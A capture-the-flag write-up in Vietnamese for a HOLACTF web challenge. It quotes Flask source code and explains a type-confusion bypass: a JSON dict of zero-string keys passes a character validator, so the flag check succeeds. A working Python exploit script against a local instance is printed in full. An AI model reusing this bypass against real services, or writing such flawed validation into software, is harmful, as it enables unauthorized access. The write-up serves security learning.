

Sanity Check

 **Sanity check**

165 pts

Author
ductohno

Description
Chào mừng bạn ghé thăm website “vibe coding” của mình! Thực ra mình dựng nó chỉ để test xem server cần oxi không thôi, nhưng ở đâu đó vẫn có vài lỗi nho nhỏ đang ẩn mình. Liệu bạn có tìm ra chúng không?

Flag format
HOLACTF{...}

Download Attachment   sanity_check.zip

This challenge requires creating an instance
Instance will live for 120 mins. Create

This challenge has been solved

Submit Flag

Truy cập vào trang web thì là có cái form để login, chỉ yêu cầu điền tên

← → ↻ localhost:2222

Login

Username:

Điền tên xong thì thấy chỗ để checkbox và nút update với logout


```

75 @app.route('/update', methods=['POST'])
76 @is_User_Exist
77 def update():
78     try:
79         data = request.json
80         if(not is_valid_input(data['data'])):
81             return jsonify({'error': 'Invalid input'})
82         save_to_file(data['data'], get_user_filename())
83         return jsonify({'status': 'updated', 'new_state': data['data']})
84     except Exception as e:
85         return jsonify({'error': e})
86
87 @app.route('/get_flag', methods=['GET'])
88 @is_User_Exist
89 def get_flag():
90     data=read_file(get_user_filename())
91     response = FLAG if "Holactf" in data else "No :v"
92     return jsonify({'flag': response})
93
94 @app.route('/logout', methods=['GET'])
95 @is_User_Exist
96 def logout():
97     if(os.path.exists(get_user_filename())):
98         os.remove(get_user_filename())
99     session.pop('username', None)
100     return redirect(url_for('index'))
101
102 if __name__ == '__main__':
103     app.run(host="0.0.0.0", port=PORT)
104
105

```

Đề ý trong hàm `is_valid_input` thì nó check xem có phải là 0 hoặc 1 không bằng cách ép kiểu char sang int

```

10 NUMBER_OF_BITS = 32*16
11 # Check if flag.txt exists and read the flag from it, else use a default
12 FLAG = open('flag.txt', 'r').read().strip() if os.path.exists('flag.txt')
13
14 default_data = '0'*NUMBER_OF_BITS
15 os.makedirs('user', exist_ok=True)
16
17 def is_valid_input(input):
18     """Check if input is valid or not"""
19     if input == '' or len(input) != NUMBER_OF_BITS:
20         return False
21     try:
22         for char in input:
23             if int(char) != 0 and int(char) != 1:
24                 return False
25     except ValueError:
26         return False
27     return True
28
29 def save_to_file(string, filename):
30     """Save data to a file"""
31     with open(filename, "w", encoding="utf-8") as file:
32         file.write(str(string))
33
34
35 def read_file(filename):
36     """Read data from a file"""
37     with open(filename, 'r', encoding="utf-8") as f:
38         data=f.read()
39         return data
40

```

Lợi dụng cái check kiểu này thì tôi tạo 1 cái dict để key là các số 0 và value chứa Holactf, khi check thì nó ép kiểu int nên các key là 0 sẽ ép về giá trị 0, thỏa mãn điều kiện, độ dài thì cho 512 cái key vào, value thì chỉ cần 1 value chứa Holactf là được

Tôi dùng đoạn script này để lấy flag:

```

import requests
BASE = "http://127.0.0.1:2222"
with requests.Session() as s:
    s.post(f"{BASE}/", data={"username": "poc"})

    keys = ['0' * i for i in range(1, 513)]
    data_dict = {k: "" for k in keys}
    data_dict['0'] = "Holactf"

    print(data_dict)
    r = s.post(f"{BASE}/update", json={"data": data_dict})
    print("Update:", r.json())

    r = s.get(f"{BASE}/get_flag")

```

```
print("Get flag:", r.json())
```

```
ex.py x app.py ~
attachments > ex.py > _
1 import requests
2 BASE = "http://127.0.0.1:2722"
3 with requests.Session() as s:
4     s.post(f"{BASE}/", data={"username": "poc"})
5
6     keys = ['0' * i for i in range(1, 513)]
7     data_dict = {k: "" for k in keys}
8     data_dict['0'] = "Holactf"
9
10    print(data_dict)
11    r = s.post(f"{BASE}/update", json={"data": data_dict})
12    print("Update:", r.json())
13
14    r = s.get(f"{BASE}/get_flag")
15    print("Get flag:", r.json())
16
```